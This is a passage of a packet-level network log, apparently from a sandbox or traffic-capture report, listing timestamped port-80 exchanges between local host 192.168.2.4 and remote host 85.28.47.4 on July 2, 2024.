Jul 2, 2024 15:26:07.425721884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.425740957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.425750971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.425756931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.425771952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.425775051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.425786972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.425793886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.425812960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.425817966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.425827980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.425844908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.425847054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.425858021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.425868988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.425883055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.425894976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.428641081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.428659916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.428689003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.428705931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.428711891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.428726912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.428726912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.428744078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.428746939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.428762913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.428766966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.428777933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.428782940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.428795099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.428814888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.428858995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.428900003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.428960085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.428972960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.428992033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429002047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429006100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429023027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429024935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429039955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429049015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429055929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429059029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429075956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429078102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429090977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429099083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429110050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429126978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429135084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429146051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429164886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429173946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429188013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429200888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429200888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429214001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429246902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429366112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429377079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429404020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429406881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429419041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429435968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429436922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429446936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429457903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429471970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429482937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429584026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429595947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429614067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429632902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429647923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429672003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429682970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429699898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429709911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429713964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429733992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429734945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429750919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429758072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429773092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429780960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429785967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429796934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429815054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429826975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429847956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429847956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429858923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429883957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429886103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429894924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429913998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429919004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429939032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429949045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.429956913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.429968119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.430001020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.430044889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.430054903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.430073023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.430083990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.430093050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.430109024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.430126905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.430370092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.430381060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.430418015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.430488110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.430499077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.430517912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.430531025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.430540085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.430552006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.430555105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.430574894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.430588961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.467299938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.472577095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.644840002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.644866943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.644884109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.644902945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.644915104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.644927025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.644937038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.644942045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.644964933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.644968987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645023108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645071030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645114899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645134926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645147085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645179033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645179033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645193100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645212889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645217896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645237923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645253897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645303011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645313978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645332098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645339012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645343065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645354033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645370007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645373106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645384073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645389080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645409107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645426035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645464897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645502090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645524979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645549059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645562887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645581007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645603895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645628929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645642996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645642996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645659924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645661116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645678997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645684004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645687103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645701885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645725012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645745993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645780087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645791054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645808935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645817041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645817995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645828962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645838976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645847082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645860910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645870924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645874977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645889997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645895958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645906925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645911932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645925045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645926952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645939112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645946026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645962954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645963907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.645982981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.645998001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646035910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646047115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646064043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646075964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646096945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646131039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646142960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646159887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646169901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646172047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646198034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646383047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646397114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646414995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646424055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646434069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646447897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646454096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646466970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646477938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646481991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646498919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646511078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646514893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646533012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646549940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646580935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646593094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646610022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646617889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646620989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646631956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646646023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646656036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646656990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646675110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.646694899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.646709919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.647020102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.647032022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.647052050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.647059917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.647072077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.647087097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.647125959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.647136927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.647160053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.647170067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.647171021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.647193909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.647195101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.647209883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.647217035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.647233963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.647244930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.647465944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.647510052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.647524118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.647536993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.647569895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.647967100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.647980928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.648006916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.648010015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.648017883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.648020983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.648041010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.648049116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.648056030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.648066998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.648086071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.648097992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.648102999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.648122072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.648144960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727482080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727530003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727540970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727561951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727569103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727586985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727602005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727608919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727626085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727628946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727643013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727644920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727662086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727672100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727679014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727689028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727691889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727713108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727725029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727735996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727736950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727761984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727762938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727783918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727787018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727799892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727804899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727816105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727817059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727830887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727833986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727852106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727854013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727865934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727866888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727886915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727891922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727909088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727912903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727920055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727936983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727943897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727952003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727968931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.727968931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.727983952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.728003979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734411955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734464884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734488964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734500885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734500885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734518051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734533072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734543085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734556913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734566927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734570026 CEST	80	49730	85.28.47.4	192.168.2.4
